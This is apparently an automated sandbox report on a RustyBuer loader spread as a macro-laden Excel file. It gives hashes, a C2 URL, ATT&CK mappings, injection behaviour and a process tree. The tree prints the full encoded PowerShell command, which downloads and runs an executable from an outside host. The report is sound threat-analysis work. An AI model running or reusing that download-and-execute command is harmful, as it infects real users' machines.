rustybuer | adf1d9e22efc7d95a57aa8754fe5e489380c52de240167930f7043d079e34144

Analysis

max time kernel
103s
max time network
147s
platform
windows10_x64
resource
win10v20210410
submitted
20-08-2021 04:33

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General

Target

document.xlsm
Size

53KB
MD5

50097dcbf3f4071e621ebbf3911d6ed5
SHA1

eef3fad484c512b778a25d931edba6726d39f5f3
SHA256

adf1d9e22efc7d95a57aa8754fe5e489380c52de240167930f7043d079e34144
SHA512

6067d055751c17e701ccca54c87af094bf8c8434728978f296887da3592f2021275cf5cff5b4f9c3c67bb427fa46cce228a2d89e863cf2cc561adf47720135c9

Score

10^/10

rustybuer loader

Malware Config

Extracted

Family

rustybuer

https://awmelisers.com/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4092	3584	cmd.exe	20

RustyBuer
RustyBuer is a new variant of Buer loader written in Rust.
loader rustybuer

Blocklisted process makes network request 1 IoCs

flow	pid	Process
29	2116	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
2416	Ferymanit Service.exe

Enumerates connected drives 3 TTPs 49 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	secinit.exe
File opened (read-only)	\??\J:	secinit.exe
File opened (read-only)	\??\l:	secinit.exe
File opened (read-only)	\??\q:	secinit.exe
File opened (read-only)	\??\r:	secinit.exe
File opened (read-only)	\??\S:	secinit.exe
File opened (read-only)	\??\w:	secinit.exe
File opened (read-only)	\??\f:	secinit.exe
File opened (read-only)	\??\R:	secinit.exe
File opened (read-only)	\??\v:	secinit.exe
File opened (read-only)	\??\V:	secinit.exe
File opened (read-only)	\??\X:	secinit.exe
File opened (read-only)	\??\K:	secinit.exe
File opened (read-only)	\??\H:	secinit.exe
File opened (read-only)	\??\N:	secinit.exe
File opened (read-only)	\??\T:	secinit.exe
File opened (read-only)	\??\E:	secinit.exe
File opened (read-only)	\??\j:	secinit.exe
File opened (read-only)	\??\k:	secinit.exe
File opened (read-only)	\??\W:	secinit.exe
File opened (read-only)	\??\i:	secinit.exe
File opened (read-only)	\??\b:	secinit.exe
File opened (read-only)	\??\e:	secinit.exe
File opened (read-only)	\??\g:	secinit.exe
File opened (read-only)	\??\I:	secinit.exe
File opened (read-only)	\??\M:	secinit.exe
File opened (read-only)	\??\o:	secinit.exe
File opened (read-only)	\??\u:	secinit.exe
File opened (read-only)	\??\a:	secinit.exe
File opened (read-only)	\??\x:	secinit.exe
File opened (read-only)	\??\P:	secinit.exe
File opened (read-only)	\??\Z:	secinit.exe
File opened (read-only)	\??\n:	secinit.exe
File opened (read-only)	\??\G:	secinit.exe
File opened (read-only)	\??\h:	secinit.exe
File opened (read-only)	\??\L:	secinit.exe
File opened (read-only)	\??\m:	secinit.exe
File opened (read-only)	\??\O:	secinit.exe
File opened (read-only)	\??\p:	secinit.exe
File opened (read-only)	\??\Q:	secinit.exe
File opened (read-only)	\??\A:	secinit.exe
File opened (read-only)	\??\y:	secinit.exe
File opened (read-only)	\??\Y:	secinit.exe
File opened (read-only)	\??\U:	secinit.exe
File opened (read-only)	\??\D:	secinit.exe
File opened (read-only)	\??\s:	secinit.exe
File opened (read-only)	\??\t:	secinit.exe
File opened (read-only)	\??\z:	secinit.exe
File opened (read-only)	\??\B:	secinit.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2416 set thread context of 2284	2416	Ferymanit Service.exe	86

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
748	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2116	powershell.exe
2116	powershell.exe
2116	powershell.exe
2284	secinit.exe
2284	secinit.exe
2284	secinit.exe
2284	secinit.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2116	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
748	EXCEL.EXE
748	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
748	EXCEL.EXE
748	EXCEL.EXE
748	EXCEL.EXE
748	EXCEL.EXE
748	EXCEL.EXE
748	EXCEL.EXE
748	EXCEL.EXE
748	EXCEL.EXE
748	EXCEL.EXE
748	EXCEL.EXE
748	EXCEL.EXE
748	EXCEL.EXE

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4092 wrote to memory of 2116	4092	cmd.exe	83
PID 4092 wrote to memory of 2116	4092	cmd.exe	83
PID 2116 wrote to memory of 2416	2116	powershell.exe	85
PID 2116 wrote to memory of 2416	2116	powershell.exe	85
PID 2116 wrote to memory of 2416	2116	powershell.exe	85
PID 2416 wrote to memory of 2284	2416	Ferymanit Service.exe	86
PID 2416 wrote to memory of 2284	2416	Ferymanit Service.exe	86
PID 2416 wrote to memory of 2284	2416	Ferymanit Service.exe	86
PID 2416 wrote to memory of 2284	2416	Ferymanit Service.exe	86
PID 2416 wrote to memory of 2284	2416	Ferymanit Service.exe	86
PID 2416 wrote to memory of 2284	2416	Ferymanit Service.exe	86
PID 2416 wrote to memory of 2284	2416	Ferymanit Service.exe	86
PID 2416 wrote to memory of 2284	2416	Ferymanit Service.exe	86
PID 2416 wrote to memory of 2284	2416	Ferymanit Service.exe	86

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\document.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:748

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell -ExecutionPolicy BypasS -ENC ZgB1AG4AYwB0AGkAbwBuACAAUABTAC0ASQBuAHMAdABhAGwAbABlAHIAVgAyACAAewAKACAAIAAgACAAcABhAHIAYQBtACgACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAwACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGwAaQBuAGsALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADEAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAZQBuAGQAcABvAGkAbgB0ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAyACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGYAaQBsAGUAXwBkAGkAcgAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0AMwApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACAAJABmAGkAbABlAF8AbgBhAG0AZQAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0ANAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAZQB4AHQAZQBuAHMAaQBvAG4ALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgBvAG8AbABdACAAJAB1AHMAZQBfAGEAYwBjAGUAcwBzACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAFAAbwBzAGkAdABpAG8AbgA9ADYAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKAAoAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJABsAGkAbgBrACAAKwAgACIALwAiACAAKwAgACQAZQBuAGQAcABvAGkAbgB0AAoAIAAgACAAIABpAGYAIAAoACQAdQBzAGUAXwBhAGMAYwBlAHMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJAByAGUAcQBfAHMAdAByACAAKwAgACIALwAiACAAKwAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAfQAKAAoAIAAgACAAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAAPQAgACQAZgBpAGwAZQBfAGQAaQByACAAKwAgACIAXAAiACAAKwAgACQAZgBpAGwAZQBfAG4AYQBtAGUAIAArACAAIgAuACIAIAArACAAJABlAHgAdABlAG4AcwBpAG8AbgAKAAoAIAAgACAAIAAkAHIAZQBxAHUAZQBzAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAJAByAGUAcQBfAHMAdAByACIAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAIAA9ACAAJAByAGUAcQB1AGUAcwB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlAF8AcwB0AHIAZQBhAG0ALgBDAG8AcAB5AFQAbwAoACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkAKQAKAAoAIAAgACAAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5AC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkACgAgACAAIAAgACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcwBhAHYAZQBfAHAAYQB0AGgACgB9AAoACgBQAFMALQBJAG4AcwB0AGEAbABsAGUAcgBWADIAIAAiAGgAdAB0AHAAcwA6AC8ALwBmAGUAcgB5AG0AYQBuAGkAdAAuAGMAbwBtACIAIAAiAGEAcABpAC8AdgAzAC8AaQBuAHMAdAByAHUAYwB0AG8AcgBpAGEAbAAvAGEAbQBwAHUAdABhAHQAaQBuAGcALwBjAG8AYgBhAGwAdABvAGMAeQBhAG4AaQBjACIAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQAiACAAIgBGAGUAcgB5AG0AYQBuAGkAdAAgAFMAZQByAHYAaQBjAGUAIgAgACIAZQB4AGUAIgAgACQARgBhAGwAcwBlAA=="
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy BypasS -ENC ZgB1AG4AYwB0AGkAbwBuACAAUABTAC0ASQBuAHMAdABhAGwAbABlAHIAVgAyACAAewAKACAAIAAgACAAcABhAHIAYQBtACgACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAwACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGwAaQBuAGsALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADEAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAZQBuAGQAcABvAGkAbgB0ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAyACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGYAaQBsAGUAXwBkAGkAcgAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0AMwApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACAAJABmAGkAbABlAF8AbgBhAG0AZQAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0ANAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAZQB4AHQAZQBuAHMAaQBvAG4ALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgBvAG8AbABdACAAJAB1AHMAZQBfAGEAYwBjAGUAcwBzACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAFAAbwBzAGkAdABpAG8AbgA9ADYAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKAAoAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJABsAGkAbgBrACAAKwAgACIALwAiACAAKwAgACQAZQBuAGQAcABvAGkAbgB0AAoAIAAgACAAIABpAGYAIAAoACQAdQBzAGUAXwBhAGMAYwBlAHMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJAByAGUAcQBfAHMAdAByACAAKwAgACIALwAiACAAKwAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAfQAKAAoAIAAgACAAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAAPQAgACQAZgBpAGwAZQBfAGQAaQByACAAKwAgACIAXAAiACAAKwAgACQAZgBpAGwAZQBfAG4AYQBtAGUAIAArACAAIgAuACIAIAArACAAJABlAHgAdABlAG4AcwBpAG8AbgAKAAoAIAAgACAAIAAkAHIAZQBxAHUAZQBzAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAJAByAGUAcQBfAHMAdAByACIAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAIAA9ACAAJAByAGUAcQB1AGUAcwB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlAF8AcwB0AHIAZQBhAG0ALgBDAG8AcAB5AFQAbwAoACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkAKQAKAAoAIAAgACAAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5AC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkACgAgACAAIAAgACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcwBhAHYAZQBfAHAAYQB0AGgACgB9AAoACgBQAFMALQBJAG4AcwB0AGEAbABsAGUAcgBWADIAIAAiAGgAdAB0AHAAcwA6AC8ALwBmAGUAcgB5AG0AYQBuAGkAdAAuAGMAbwBtACIAIAAiAGEAcABpAC8AdgAzAC8AaQBuAHMAdAByAHUAYwB0AG8AcgBpAGEAbAAvAGEAbQBwAHUAdABhAHQAaQBuAGcALwBjAG8AYgBhAGwAdABvAGMAeQBhAG4AaQBjACIAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQAiACAAIgBGAGUAcgB5AG0AYQBuAGkAdAAgAFMAZQByAHYAaQBjAGUAIgAgACIAZQB4AGUAIgAgACQARgBhAGwAcwBlAA==
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\ProgramData\Ferymanit Service.exe
    "C:\ProgramData\Ferymanit Service.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:2416
  - - C:\Windows\SysWOW64\secinit.exe
      "C:\Windows\System32\secinit.exe"
      4⤵
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      PID:2284

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/748-122-0x00007FF96F710000-0x00007FF9707FE000-memory.dmp

Filesize
16.9MB

Download
memory/748-117-0x00007FF94EEB0000-0x00007FF94EEC0000-memory.dmp

Filesize
64KB

Download
memory/748-118-0x00007FF94EEB0000-0x00007FF94EEC0000-memory.dmp

Filesize
64KB

Download
memory/748-119-0x00007FF94EEB0000-0x00007FF94EEC0000-memory.dmp

Filesize
64KB

Download
memory/748-116-0x00007FF94EEB0000-0x00007FF94EEC0000-memory.dmp

Filesize
64KB

Download
memory/748-123-0x00000197E9220000-0x00000197EB115000-memory.dmp

Filesize
31.0MB

Download
memory/748-340-0x00007FF94EEB0000-0x00007FF94EEC0000-memory.dmp

Filesize
64KB

Download
memory/748-339-0x00007FF94EEB0000-0x00007FF94EEC0000-memory.dmp

Filesize
64KB

Download
memory/748-338-0x00007FF94EEB0000-0x00007FF94EEC0000-memory.dmp

Filesize
64KB

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memory/748-337-0x00007FF94EEB0000-0x00007FF94EEC0000-memory.dmp

Filesize
64KB

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memory/748-114-0x00007FF760B10000-0x00007FF7640C6000-memory.dmp

Filesize
53.7MB

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memory/748-115-0x00007FF94EEB0000-0x00007FF94EEC0000-memory.dmp

Filesize
64KB

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memory/2116-284-0x0000029C75B20000-0x0000029C75B22000-memory.dmp

Filesize
8KB

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memory/2116-286-0x0000029C75B26000-0x0000029C75B28000-memory.dmp

Filesize
8KB

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memory/2116-285-0x0000029C75B23000-0x0000029C75B25000-memory.dmp

Filesize
8KB

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memory/2116-279-0x0000029C75CE0000-0x0000029C75CE1000-memory.dmp

Filesize
4KB

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memory/2116-276-0x0000029C75B30000-0x0000029C75B31000-memory.dmp

Filesize
4KB

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memory/2284-305-0x0000000000400000-0x0000000000535000-memory.dmp

Filesize
1.2MB

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memory/2284-310-0x0000000000400000-0x0000000000535000-memory.dmp

Filesize
1.2MB

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memory/2416-309-0x0000000000A70000-0x0000000000A71000-memory.dmp

Filesize
4KB

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